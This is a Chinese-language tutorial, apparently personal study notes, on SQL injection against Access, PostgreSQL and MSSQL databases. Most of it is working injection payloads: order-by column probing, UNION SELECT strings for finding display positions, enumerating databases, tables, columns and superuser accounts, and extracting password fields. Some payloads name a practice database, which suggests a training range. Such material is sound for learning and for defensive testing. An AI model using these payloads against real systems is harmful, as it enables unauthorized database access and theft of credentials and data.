sql注入基础(三)
Access
Accesss数据库是独立存在的,没有默认表,无高权限注入点,只能靠暴力猜解进行注入,需要用字典去猜(burp、python脚本)
//暴力猜解属于低权限,只能获得数据,不能对其进行进行读写修改操作
数据库联合&偏移注入:
- 1.利用order by判断字段数
参考sql注入基础(一)
- 2.判断数据库表名
?id=1 and exists (select * from 表名)
- 3.判断admin表名下的列名
?id=1 and exists (select 列名 from 表名)
//找到前端代码然后看接口ID大概率是列名
- 4.查询报显位
?id=1 union select 1,2,3,4 from admin
- 5.查询列里面的数据
?id=1 union select 1,2,passwd,4 from admin
//或者可以直接用利用联合注入查询表名、列名
联合注入方法二:
- 1.利用order by判断字段数
- 2.判断数据库表名
#?id=1 union select 1,2,3,4 from admin
- 3.查询报显位
- 4.在显位下判断列名
?id=1 union select 1,2,passwd,4 from admin
access偏移注入
参考文章:https://blog.csdn.net/m0_56069948/article/details/122532425
PostgreSQL-高权限注入:
(1)利用order by测字段数
(2)测显位
and 1=2 union select null,null,'null',null
//union select后面要用null做参数
(3)在显位下获取信息
and 1=2 UNION SELECT null,version(),null,null //数据库版本
and 1=2 UNION SELECT null,current_user,null,null //当前用户名
and 1=2 UNION SELECT null,current_schema(),null,null //数据库用户权限
and 1=2 union select null,current_database(),null,null //当前数据库名
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE //获取DBA用户的名称
(4)获取的所有数据库:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
//string_agg(datname,',') 获取的所有数据库名以,分割
(5)获取指定数据库下的表名:
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='库名'
and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
(6)获取指定表名下列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='表名'
(5)获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from 库名.表名
MSSQL(sql sever)-高权限注入:
(1)利用order by测字段数
(2)测显位
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
//这里用的是union all
//注意显位注入的参数类型
(3)在显位下获取信息
@@version //获取版本信息
db_name() //当前数据库名字
user、system_user,current_user,user_name //获取当前用户名(支持哪个函数就用哪个)
@@SERVERNAME //获取服务器主机信息
-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2(当前数据库名字).dbo(当前用户).sysobjects where xtype='u'),null,null
and 1=2 union all select null,(select top 1 name from master..sysdatabases where dbid>4),null,null
//第一个表名
//top 1子句含义为查询结果只显示首条记录
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage'))(第一个表名),null,null
//查第二个表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),null,null
and 1=2 union all select null,(select top 1 name from sysobjects where xtype='u' and name !='manage' and name !='announcement'),null,null
//查第三个表名